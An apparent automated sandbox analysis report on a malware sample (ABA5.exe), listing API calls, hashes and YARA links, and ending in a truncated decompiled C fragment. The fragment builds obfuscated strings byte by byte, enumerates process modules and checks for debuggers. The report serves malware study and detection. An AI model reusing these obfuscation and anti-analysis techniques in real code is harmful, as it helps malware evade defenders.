Function 02490DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02490223,?,?), ref: 02490E02
SetErrorMode.KERNELBASE(00000000,?,?,02490223,?,?), ref: 02490E07

Memory Dump Source

Source File: 00000011.00000002.354854143.0000000002490000.00000040.00000001.sdmp, Offset: 02490000, based on PE: false

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 349cbf6664091bf3a0319da6bddf6ad28f7b1fa5def954df00fce4c280fb5227
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 09D0123114512C77DB402A94DC09BCE7F1C9F05B66F008011FB0DD9181C770994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 00409D97, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 00409E00

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: InfoStartup
String ID:
API String ID: 2571198056-0
Opcode ID: 10c22672e7a71e8aa318eb3ca687eaab7aab075f23073c6922fa2c0115a6d98d
Instruction ID: 909151a5767d8599207225d5201f02a893f80aff64d50155d6c482ba92ca43fe
Opcode Fuzzy Hash: 10c22672e7a71e8aa318eb3ca687eaab7aab075f23073c6922fa2c0115a6d98d
Instruction Fuzzy Hash: 1F01F7B1D44308DBDB20DFA4D8057AD77A0EB04720F2046AFD919A32C2D73808048B96

Uniqueness

Uniqueness Score: -1.00%

Function 0041BA70, Relevance: 1.3, APIs: 1, Instructions: 9memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNELBASE(00000000,0239D1AC), ref: 0041BA7B

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: AllocGlobal
String ID:
API String ID: 3761449716-0
Opcode ID: ad37e4a21d25789b5e023e3a8fb8806d0cfdfaf22f25dcf5d217a5dc23a29df5
Instruction ID: 0031f23324ae94e9ad78fbb645b5744f0a3615f9ba73f42161042fb016b08481
Opcode Fuzzy Hash: ad37e4a21d25789b5e023e3a8fb8806d0cfdfaf22f25dcf5d217a5dc23a29df5
Instruction Fuzzy Hash: 55C09BB55D430C9FF640EBD5B805F1137ACF30E701F404411FD09C2240D76164104A55

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040E5A0, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00416A1D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00416A34
UnhandledExceptionFilter.KERNEL32(00423DE0), ref: 00416A3F
GetCurrentProcess.KERNEL32(C0000409), ref: 00416A5D
TerminateProcess.KERNEL32(00000000), ref: 00416A64

Strings

?mA, xrefs: 004169C7

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: ?mA
API String ID: 2579439406-33431379
Opcode ID: aa1f054fd25fb6706d311b1895f4afbfc2a64d274478ed5b853a40de930f47fd
Instruction ID: ba150e9324a0fa4a3de2b9e52932fdc46de3ada28021107a4f985b97e72c180d
Opcode Fuzzy Hash: aa1f054fd25fb6706d311b1895f4afbfc2a64d274478ed5b853a40de930f47fd
Instruction Fuzzy Hash: 1D21EDB9901304AFD351DF26FD85644BBA0BB18315F40A43EF90893761EB785984CF4E

Uniqueness

Uniqueness Score: -1.00%

Function 0041C4D0, Relevance: 19.6, APIs: 13, Instructions: 63librarytimethreadCOMMON

Download Yara Rule

APIs

GetDriveTypeW.KERNEL32(00424CD8), ref: 0041C4EB
LoadLibraryA.KERNEL32(00424D30), ref: 0041C4F6
GetModuleHandleA.KERNEL32(00424D3C), ref: 0041C501
CompareFileTime.KERNEL32(?,?), ref: 0041C512
GetVersionExW.KERNEL32(?), ref: 0041C51F
VerifyVersionInfoW.KERNEL32(?,00000000,00000000,00000000), ref: 0041C532
OpenWaitableTimerA.KERNEL32(00000000,00000000,00424D5C), ref: 0041C541
GetCurrentThreadId.KERNEL32 ref: 0041C547
CreateDirectoryA.KERNEL32(00424D84,00000000), ref: 0041C554
LoadLibraryA.KERNEL32(00000000), ref: 0041C55C
CreateSemaphoreW.KERNEL32(00000000,00000000,00000000,00424D98), ref: 0041C56D
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 0041C575
CompareStringW.KERNEL32(00000000,00000000,00424DE8,00000000,00424DA8,00000000), ref: 0041C58D

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: CompareCreateLibraryLoadVersion$CurrentDirectoryDriveEnvironmentFileFreeHandleInfoModuleOpenSemaphoreStringStringsThreadTimeTimerTypeVerifyWaitable
String ID:
API String ID: 947699889-0
Opcode ID: 408b2c6e49bafc107165a2fc09f25a1e511a70d72075224a38d0a9290e619bc9
Instruction ID: db870b71e3f66baaf8401050f79ee282172be2921df159cf398a25e89492b4ce
Opcode Fuzzy Hash: 408b2c6e49bafc107165a2fc09f25a1e511a70d72075224a38d0a9290e619bc9
Instruction Fuzzy Hash: DC214F39781324AFE7109BA1EC0AFD87F34EB48B02F108465FB09961D0C6F426508F6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041CBE0, Relevance: 18.1, APIs: 12, Instructions: 83memorypipeCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0041CC0C
GetConsoleCursorInfo.KERNEL32(00000000,00000000), ref: 0041CC22
WriteProfileSectionW.KERNEL32(00424E64,00424E28), ref: 0041CC32
VirtualFree.KERNEL32(00000000,00000000,00000000), ref: 0041CC4A
GetSystemWindowsDirectoryW.KERNEL32(?,00000800), ref: 0041CC5C
GetCPInfoExW.KERNEL32(00000000,00000000,?), ref: 0041CC6D
GetCommandLineA.KERNEL32 ref: 0041CC73
GetStartupInfoW.KERNEL32(00000000), ref: 0041CC7B
InterlockedDecrement.KERNEL32(?), ref: 0041CCDF
WaitNamedPipeW.KERNEL32(00424E98,00000000), ref: 0041CCEC
SetCurrentDirectoryA.KERNEL32(00424EE0), ref: 0041CCF7
HeapWalk.KERNEL32(00000000,00000000), ref: 0041CD47

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Info$Directory$CommandConsoleCountCurrentCursorDecrementFreeHeapInterlockedLineNamedPipeProfileSectionStartupSystemTickVirtualWaitWalkWindowsWrite
String ID:
API String ID: 3826321232-0
Opcode ID: c861398f74800e3f46d2cef8115d136353a293c4b56d6ded1315238530b50062
Instruction ID: 546e0936f0fbbe808e64842a2f0e37c9d163751c119ef1cbae06dbc3339e6109
Opcode Fuzzy Hash: c861398f74800e3f46d2cef8115d136353a293c4b56d6ded1315238530b50062
Instruction Fuzzy Hash: 1C31D435AC4318DFE720ABA1ED4ABD97B74BB09306F10C4AAF60A55180C7B85980DF5E

Uniqueness

Uniqueness Score: -1.00%

Function 00413729, Relevance: 16.1, APIs: 7, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7
_write_multi_char.LIBCMTD ref: 00413AAE
_write_string.LIBCMTD ref: 00413AC9
_write_multi_char.LIBCMTD ref: 00413AF5
_wctomb_s.LIBCMTD ref: 00413B72

Strings

9, xrefs: 004139B8
-, xrefs: 00413A4E

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 2197463554-1631151375
Opcode ID: 56166c64e88276a675c435588d1bd6a6df9d6ea71bf9e17ca892b26750b81717
Instruction ID: 2469840eaf1d0c532fffe885c11b7531ec75d53dca630c14d349378eb83b3d28
Opcode Fuzzy Hash: 56166c64e88276a675c435588d1bd6a6df9d6ea71bf9e17ca892b26750b81717
Instruction Fuzzy Hash: 65F138B1D052299FDB24DF58CC89BEEB7B5BB44305F10819AE409A7281D778AEC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00413487, Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

__get_printf_count_output.LIBCMTD ref: 00413499
_write_multi_char.LIBCMTD ref: 00413AAE
_write_string.LIBCMTD ref: 00413AC9
_write_multi_char.LIBCMTD ref: 00413AF5
_wctomb_s.LIBCMTD ref: 00413B72

Strings

-, xrefs: 00413A4E

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$__get_printf_count_output_wctomb_s_write_string
String ID: -
API String ID: 3263840866-2547889144
Opcode ID: 91632d169ea60f77c5898e4ab527f60d7ecc7db9ca04e1a8b39aac74d20a5178
Instruction ID: 569a5730c9de2d200b77abdac29fc37c87b227ae0363cd64be11799e6fbde448
Opcode Fuzzy Hash: 91632d169ea60f77c5898e4ab527f60d7ecc7db9ca04e1a8b39aac74d20a5178
Instruction Fuzzy Hash: 9BA17C719012289BDB24DF54CC4ABEEB7B1AF44306F1481DAE4197A291E7789FC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004132D5, Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

_write_multi_char.LIBCMTD ref: 00413AAE
_write_string.LIBCMTD ref: 00413AC9
_write_multi_char.LIBCMTD ref: 00413AF5
_wctomb_s.LIBCMTD ref: 00413B72

Strings

-, xrefs: 00413A4E

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: _write_multi_char$_wctomb_s_write_string
String ID: -
API String ID: 1811813154-2547889144
Opcode ID: 2d88f8b37d69791220c4c9a2b0b632dbbc28f11ea389446bfb393f6dca21ff72
Instruction ID: a94da514c8e46436dd838f4965f76b00f8ff0c8edb88107d504c6f259838d0ed
Opcode Fuzzy Hash: 2d88f8b37d69791220c4c9a2b0b632dbbc28f11ea389446bfb393f6dca21ff72
Instruction Fuzzy Hash: 0FA16A71D052289BDB24CF54CC89BEEB7B1AB44306F1481DAE419AA291E7789FC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA7C, Relevance: 10.6, APIs: 7, Instructions: 99fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 0041CAD6
CopyFileW.KERNEL32(00424BE8,00424BC0,00000000,?,?), ref: 0041CB1E
DeleteFileA.KERNEL32(00424C08), ref: 0041CB29
GetPriorityClass.KERNEL32(00000000), ref: 0041CB43
ResetEvent.KERNEL32(00000000), ref: 0041CB4B
GetPrivateProfileStringW.KERNEL32(00424C9C,00424C64,00424C50,?,00000000,00424C18), ref: 0041CB7F
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041CBB3

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: File$CharacterClassConsoleCopyDeleteEventOutputPriorityPrivateProfileReadResetStringWrite
String ID:
API String ID: 1347116440-0
Opcode ID: c0379134dbc99d87fed9f6c771e66f86210aa72681edbfa43dd5ab2838201063
Instruction ID: d2e017aaed9096d442827604abfa74b0317c5e7f07592e73960da7d42e38822b
Opcode Fuzzy Hash: c0379134dbc99d87fed9f6c771e66f86210aa72681edbfa43dd5ab2838201063
Instruction Fuzzy Hash: 73316E74A44218AFDB14DF99DC86BEEBBB5FF48700F10816AE605A3280D7B41A80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041CA90, Relevance: 10.6, APIs: 7, Instructions: 88fileCOMMON

Download Yara Rule

APIs

ReadConsoleOutputCharacterA.KERNEL32(00000000,?,00000000,?,?), ref: 0041CAD6
CopyFileW.KERNEL32(00424BE8,00424BC0,00000000,?,?), ref: 0041CB1E
DeleteFileA.KERNEL32(00424C08), ref: 0041CB29
GetPriorityClass.KERNEL32(00000000), ref: 0041CB43
ResetEvent.KERNEL32(00000000), ref: 0041CB4B
GetPrivateProfileStringW.KERNEL32(00424C9C,00424C64,00424C50,?,00000000,00424C18), ref: 0041CB7F
WriteFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 0041CBB3

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: File$CharacterClassConsoleCopyDeleteEventOutputPriorityPrivateProfileReadResetStringWrite
String ID:
API String ID: 1347116440-0
Opcode ID: 1843bea554087897e74343435c1d81b26965e595b5fc8c89058c66eb9562e08c
Instruction ID: b1fc037f64eb01b00684653f948cafa3f533c81c51355b07b7a0841c5ad1d23d
Opcode Fuzzy Hash: 1843bea554087897e74343435c1d81b26965e595b5fc8c89058c66eb9562e08c
Instruction Fuzzy Hash: 6C316D74A44218ABDB14DF99DC86BEEBB75FB48701F10815AE505A3280C7B41A80CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0041CD56, Relevance: 10.5, APIs: 7, Instructions: 36threadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32(00000000,00000000), ref: 0041CD65
SetConsoleMode.KERNEL32(00000000,?), ref: 0041CD74
IsDBCSLeadByteEx.KERNEL32(00000000,00000000), ref: 0041CD7E
FindFirstChangeNotificationA.KERNEL32(00424F44,00000000,00000000), ref: 0041CD8D
LCMapStringW.KERNEL32(00000000,00000000,00424F68,00000000,?,00000000), ref: 0041CDA7
InterlockedIncrement.KERNEL32(?), ref: 0041CDB4
TlsSetValue.KERNEL32(00000000,00000000), ref: 0041CDBE

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: ByteChangeConsoleFindFirstIncrementInterlockedLeadModeNotificationStringTerminateThreadValue
String ID:
API String ID: 1978024113-0
Opcode ID: 72e2c435137a442e87b12dcfe33622bea931148c36e51871ca235c6ec6046dd1
Instruction ID: 02f0bbdc2cadf27bccf1c4be450c1cf831413a6e1098b46553351164acb9a1d4
Opcode Fuzzy Hash: 72e2c435137a442e87b12dcfe33622bea931148c36e51871ca235c6ec6046dd1
Instruction Fuzzy Hash: 6CF01235384314BFF7605BA1AC0BFD57B64EB4DB02F114094FB09E90D0CAE055508B2A

Uniqueness

Uniqueness Score: -1.00%

Function 00417210, Relevance: 9.1, APIs: 6, Instructions: 76COMMON

Download Yara Rule

APIs

___initconout.LIBCMTD ref: 00417234

Part of subcall function 0041B0D0: CreateFileA.KERNEL32(004247B4,40000000,00000003,00000000,00000003,00000000,00000000,?,00417239), ref: 0041B0E9

GetConsoleOutputCP.KERNEL32(00000000,?,00000001,00000000,00000005,00000000,00000000), ref: 004172B9
WideCharToMultiByte.KERNEL32(00000000), ref: 004172C0
WriteConsoleA.KERNEL32(00427F24,00000000,?,?,00000000), ref: 004172E7

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: Console$ByteCharCreateFileMultiOutputWideWrite___initconout
String ID:
API String ID: 3432720595-0
Opcode ID: b4a83c89962bd639b127769236687db4a3f87bee7dcca68601c9556a92148f8e
Instruction ID: b59cc054eb4f464f9bb99d76480b693a661241cb4ee656eae8aca392ac204340
Opcode Fuzzy Hash: b4a83c89962bd639b127769236687db4a3f87bee7dcca68601c9556a92148f8e
Instruction Fuzzy Hash: 52218230608205ABD720CB94DD44BFA77B4AB09314F6142FAF915961D0DBB89D86CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 00413757, Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7

Strings

0, xrefs: 00413773
', xrefs: 00413757
9, xrefs: 004139B8

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: '$0$9
API String ID: 3839614884-269856862
Opcode ID: 9b3a34766b1a8314dd2588284b524bafba1bcd79f6bbfc8da12d4385dd547c18
Instruction ID: 952fa10c2b00d7b6f51986490e9a32d315005ca13a2ec6569a6f6b6765fe4801
Opcode Fuzzy Hash: 9b3a34766b1a8314dd2588284b524bafba1bcd79f6bbfc8da12d4385dd547c18
Instruction Fuzzy Hash: FC4102B1E15229DFEB24CF58C889BEEB7B5BB44305F2081DAE049A7240C3789E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00413744, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 106COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7

Strings

0, xrefs: 00413773
9, xrefs: 004139B8

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 0$9
API String ID: 3839614884-1975997740
Opcode ID: 5de4388563e7361cabaebaf1c0728400ff1f533fbb22fb4fd66094ecc186d894
Instruction ID: 00f17955831a6018d699deab18560d1259a2291540df10e1cec39d0e745cd0ab
Opcode Fuzzy Hash: 5de4388563e7361cabaebaf1c0728400ff1f533fbb22fb4fd66094ecc186d894
Instruction Fuzzy Hash: BE41F4B1D15229DFEB24CF58C889BEEB7B5BB44305F20819AE449A7240C7789E85CF45

Uniqueness

Uniqueness Score: -1.00%

Function 0041378C, Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7

Strings

9, xrefs: 004139B8

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 7ded7bd28891954dca78d390b8752f57cd8f45f5574ac0e25cc32a2dd1597aea
Instruction ID: 0b0afb31feff89d7836137abac559736e52f64a1958c5d9fbc105aa7653de15a
Opcode Fuzzy Hash: 7ded7bd28891954dca78d390b8752f57cd8f45f5574ac0e25cc32a2dd1597aea
Instruction Fuzzy Hash: CC41E4B1E15229DFEB24CF58C889BEEB7B5FB44301F10859AE049A7240C7785E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 0041373B, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__aullrem.LIBCMT ref: 00413985
__aulldiv.LIBCMT ref: 004139A7

Strings

9, xrefs: 004139B8

Memory Dump Source

Source File: 00000011.00000002.354041961.0000000000409000.00000020.00020000.sdmp, Offset: 00409000, based on PE: false

Similarity

API ID: __aulldiv__aullrem
String ID: 9
API String ID: 3839614884-2366072709
Opcode ID: 5e664801e2aa4ca0ef7c54f5bf698b51e29bf8cf498a3275ca2a482d620a34cc
Instruction ID: d10e03cdd89a928066a019f9cc6ee17fe7eb7ed8be46f9ff8b4078cbb0afdb54
Opcode Fuzzy Hash: 5e664801e2aa4ca0ef7c54f5bf698b51e29bf8cf498a3275ca2a482d620a34cc
Instruction Fuzzy Hash: 6841E3B1E15228DFDB24DF58C889BEEB7B5BB44301F20819AE049A7240C778AEC5CF45

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ABA5.exe PID: 2832 Parent PID: 3292 ABA5.exeCOMMON

Executed Functions

Function 004019F0, Relevance: 146.0, APIs: 34, Strings: 49, Instructions: 747
comprocessCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E004019F0(void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t337;
				void* _t340;
				int _t341;
				CHAR* _t344;
				intOrPtr* _t349;
				int _t350;
				long _t352;
				signed int _t354;
				intOrPtr _t358;
				long _t359;
				CHAR* _t364;
				struct HINSTANCE__* _t365;
				CHAR* _t366;
				_Unknown_base(*)()* _t367;
				int _t368;
				int _t369;
				int _t370;
				intOrPtr* _t376;
				int _t378;
				intOrPtr _t379;
				intOrPtr* _t381;
				int _t383;
				intOrPtr* _t384;
				int _t385;
				int _t396;
				int _t399;
				int _t402;
				int _t405;
				intOrPtr* _t407;
				int _t413;
				int _t415;
				void* _t421;
				int _t422;
				int _t424;
				intOrPtr* _t428;
				intOrPtr _t429;
				intOrPtr* _t431;
				int _t432;
				int _t435;
				intOrPtr* _t437;
				int _t438;
				intOrPtr* _t439;
				int _t440;
				int _t442;
				signed int _t448;
				signed int _t451;
				signed int _t452;
				int _t469;
				int _t471;
				int _t482;
				signed int _t486;
				intOrPtr* _t488;
				intOrPtr* _t490;
				intOrPtr* _t492;
				intOrPtr _t493;
				void* _t494;
				struct HRSRC__* _t497;
				void* _t514;
				int _t519;
				intOrPtr* _t520;
				void* _t524;
				void* _t525;
				struct HINSTANCE__* _t526;
				intOrPtr _t527;
				void* _t531;
				void* _t535;
				struct HRSRC__* _t536;
				intOrPtr* _t537;
				intOrPtr* _t539;
				int _t542;
				int _t543;
				intOrPtr* _t547;
				intOrPtr* _t548;
				intOrPtr* _t549;
				intOrPtr* _t550;
				void* _t551;
				intOrPtr _t552;
				int _t555;
				void* _t556;
				void* _t557;
				void* _t558;
				void* _t559;
				void* _t560;
				void* _t561;
				void* _t562;
				intOrPtr* _t563;
				void* _t564;
				void* _t565;
				void* _t566;
				void* _t567;

				_t567 = __eflags;
				_t494 = __edx;
				__imp__OleInitialize(0); // executed
				 *((char*)(_t556 + 0x18)) = 0xe0;
				 *((char*)(_t556 + 0x19)) = 0x3b;
				 *((char*)(_t556 + 0x1a)) = 0x8d;
				 *((char*)(_t556 + 0x1b)) = 0x2a;
				 *((char*)(_t556 + 0x1c)) = 0xa2;
				 *((char*)(_t556 + 0x1d)) = 0x2a;
				 *((char*)(_t556 + 0x1e)) = 0x2a;
				 *((char*)(_t556 + 0x1f)) = 0x41;
				 *((char*)(_t556 + 0x20)) = 0xd3;
				 *((char*)(_t556 + 0x21)) = 0x20;
				 *((char*)(_t556 + 0x22)) = 0x64;
				 *((char*)(_t556 + 0x23)) = 6;
				 *((char*)(_t556 + 0x24)) = 0x8a;
				 *((char*)(_t556 + 0x25)) = 0xf7;
				 *((char*)(_t556 + 0x26)) = 0x3d;
				 *((char*)(_t556 + 0x27)) = 0x9d;
				 *((char*)(_t556 + 0x28)) = 0xd9;
				 *((char*)(_t556 + 0x29)) = 0xee;
				 *((char*)(_t556 + 0x2a)) = 0x15;
				 *((char*)(_t556 + 0x2b)) = 0x68;
				 *((char*)(_t556 + 0x2c)) = 0xf4;
				 *((char*)(_t556 + 0x2d)) = 0x76;
				 *((char*)(_t556 + 0x2e)) = 0xb9;
				 *((char*)(_t556 + 0x2f)) = 0x34;
				 *((char*)(_t556 + 0x30)) = 0xbf;
				 *((char*)(_t556 + 0x31)) = 0x1e;
				 *((char*)(_t556 + 0x32)) = 0xe7;
				 *((char*)(_t556 + 0x33)) = 0x78;
				 *((char*)(_t556 + 0x34)) = 0x98;
				 *((char*)(_t556 + 0x35)) = 0xe9;
				 *((char*)(_t556 + 0x36)) = 0x6f;
				 *((char*)(_t556 + 0x37)) = 0xb4;
				 *((char*)(_t556 + 0x38)) = 0;
				_push(E00401650(_t556 + 0x14, _t556 + 0x114));
				_t337 = E0040B99E(0, _t494, _t524, _t535, _t567);
				_t557 = _t556 + 0xc;
				if(_t337 == 0x41b2a0) {
					L80:
					__eflags = 0;
					return 0;
				} else {
					_t340 = CreateToolhelp32Snapshot(8, GetCurrentProcessId()); // executed
					_t525 = _t340;
					 *((intOrPtr*)(_t557 + 0x280)) = 0x224;
					 *((char*)(_t557 + 0x64)) = 0xce;
					 *((char*)(_t557 + 0x65)) = 0x27;
					 *((char*)(_t557 + 0x66)) = 0x9c;
					 *((char*)(_t557 + 0x67)) = 0x1a;
					 *((char*)(_t557 + 0x68)) = 0x95;
					 *((char*)(_t557 + 0x69)) = 0x2e;
					 *((char*)(_t557 + 0x6a)) = 0x22;
					 *((char*)(_t557 + 0x6b)) = 0x57;
					 *((char*)(_t557 + 0x6c)) = 0x91;
					 *((char*)(_t557 + 0x6d)) = 0x21;
					 *((char*)(_t557 + 0x6e)) = 0x57;
					 *((char*)(_t557 + 0x6f)) = 0x3a;
					 *((char*)(_t557 + 0x70)) = 0xf8;
					 *((char*)(_t557 + 0x71)) = 0x98;
					 *((char*)(_t557 + 0x72)) = 0x5b;
					 *((char*)(_t557 + 0x73)) = 0xf4;
					 *((char*)(_t557 + 0x74)) = 0xb5;
					 *((char*)(_t557 + 0x75)) = 0x87;
					 *((char*)(_t557 + 0x76)) = 0x7b;
					 *((char*)(_t557 + 0x77)) = 0xf;
					 *((char*)(_t557 + 0x78)) = 0xf4;
					 *((char*)(_t557 + 0x79)) = 0x76;
					 *((char*)(_t557 + 0x7a)) = 0xb9;
					 *((char*)(_t557 + 0x7b)) = 0x34;
					 *((char*)(_t557 + 0x7c)) = 0xbf;
					 *((char*)(_t557 + 0x7d)) = 0x1e;
					 *((char*)(_t557 + 0x7e)) = 0xe7;
					 *((char*)(_t557 + 0x7f)) = 0x78;
					 *((char*)(_t557 + 0x80)) = 0x98;
					 *((char*)(_t557 + 0x81)) = 0xe9;
					 *((char*)(_t557 + 0x82)) = 0x6f;
					 *((char*)(_t557 + 0x83)) = 0xb4;
					 *((char*)(_t557 + 0x84)) = 0;
					 *((char*)(_t557 + 0x18)) = 0xc0;
					 *((char*)(_t557 + 0x19)) = 0x38;
					 *((char*)(_t557 + 0x1a)) = 0x8d;
					 *((char*)(_t557 + 0x1b)) = 0x1f;
					 *((char*)(_t557 + 0x1c)) = 0x8e;
					 *((char*)(_t557 + 0x1d)) = 0x30;
					 *((char*)(_t557 + 0x1e)) = 0x65;
					 *((char*)(_t557 + 0x1f)) = 0x47;
					 *((char*)(_t557 + 0x20)) = 0xd3;
					 *((char*)(_t557 + 0x21)) = 0x29;
					 *((char*)(_t557 + 0x22)) = 0x3b;
					 *((char*)(_t557 + 0x23)) = 0x56;
					 *((char*)(_t557 + 0x24)) = 0xf8;
					 *((char*)(_t557 + 0x25)) = 0x98;
					 *((char*)(_t557 + 0x26)) = 0x5b;
					 *((char*)(_t557 + 0x27)) = 0xf4;
					 *((char*)(_t557 + 0x28)) = 0xb5;
					 *((char*)(_t557 + 0x29)) = 0x87;
					 *((char*)(_t557 + 0x2a)) = 0x7b;
					 *((char*)(_t557 + 0x2b)) = 0xf;
					 *((char*)(_t557 + 0x2c)) = 0xf4;
					 *((char*)(_t557 + 0x2d)) = 0x76;
					 *((char*)(_t557 + 0x2e)) = 0xb9;
					 *((char*)(_t557 + 0x2f)) = 0x34;
					 *((char*)(_t557 + 0x30)) = 0xbf;
					 *((char*)(_t557 + 0x31)) = 0x1e;
					 *((char*)(_t557 + 0x32)) = 0xe7;
					 *((char*)(_t557 + 0x33)) = 0x78;
					 *((char*)(_t557 + 0x34)) = 0x98;
					 *((char*)(_t557 + 0x35)) = 0xe9;
					 *((char*)(_t557 + 0x36)) = 0x6f;
					 *((char*)(_t557 + 0x37)) = 0xb4;
					 *((char*)(_t557 + 0x38)) = 0;
					_t341 = Module32First(_t525, _t557 + 0x278); // executed
					if(_t341 == 0) {
						L38:
						FindCloseChangeNotification(_t525); // executed
						_t526 = GetModuleHandleA(0);
						 *((char*)(_t557 + 0x1c)) = 0xfc;
						 *((char*)(_t557 + 0x1d)) = 0xb;
						 *((char*)(_t557 + 0x1e)) = 0xff;
						 *((char*)(_t557 + 0x1f)) = 0x75;
						 *((char*)(_t557 + 0x20)) = 0xe7;
						 *((char*)(_t557 + 0x21)) = 0x44;
						 *((char*)(_t557 + 0x22)) = 0x4b;
						 *((char*)(_t557 + 0x23)) = 0x23;
						 *((char*)(_t557 + 0x24)) = 0xbf;
						 *((char*)(_t557 + 0x25)) = 0x45;
						 *((char*)(_t557 + 0x26)) = 0x3b;
						 *((char*)(_t557 + 0x27)) = 0x56;
						 *((char*)(_t557 + 0x28)) = 0xf8;
						 *((char*)(_t557 + 0x29)) = 0x98;
						 *((char*)(_t557 + 0x2a)) = 0x5b;
						 *((char*)(_t557 + 0x2b)) = 0xf4;
						 *((char*)(_t557 + 0x2c)) = 0xb5;
						 *((char*)(_t557 + 0x2d)) = 0x87;
						 *((char*)(_t557 + 0x2e)) = 0x7b;
						 *((char*)(_t557 + 0x2f)) = 0xf;
						 *((char*)(_t557 + 0x30)) = 0xf4;
						 *((char*)(_t557 + 0x31)) = 0x76;
						 *((char*)(_t557 + 0x32)) = 0xb9;
						 *((char*)(_t557 + 0x33)) = 0x34;
						 *((char*)(_t557 + 0x34)) = 0xbf;
						 *((char*)(_t557 + 0x35)) = 0x1e;
						 *((char*)(_t557 + 0x36)) = 0xe7;
						 *((char*)(_t557 + 0x37)) = 0x78;
						 *((char*)(_t557 + 0x38)) = 0x98;
						 *((char*)(_t557 + 0x39)) = 0xe9;
						 *((char*)(_t557 + 0x3a)) = 0x6f;
						 *((char*)(_t557 + 0x3b)) = 0xb4;
						 *((char*)(_t557 + 0x3c)) = 0;
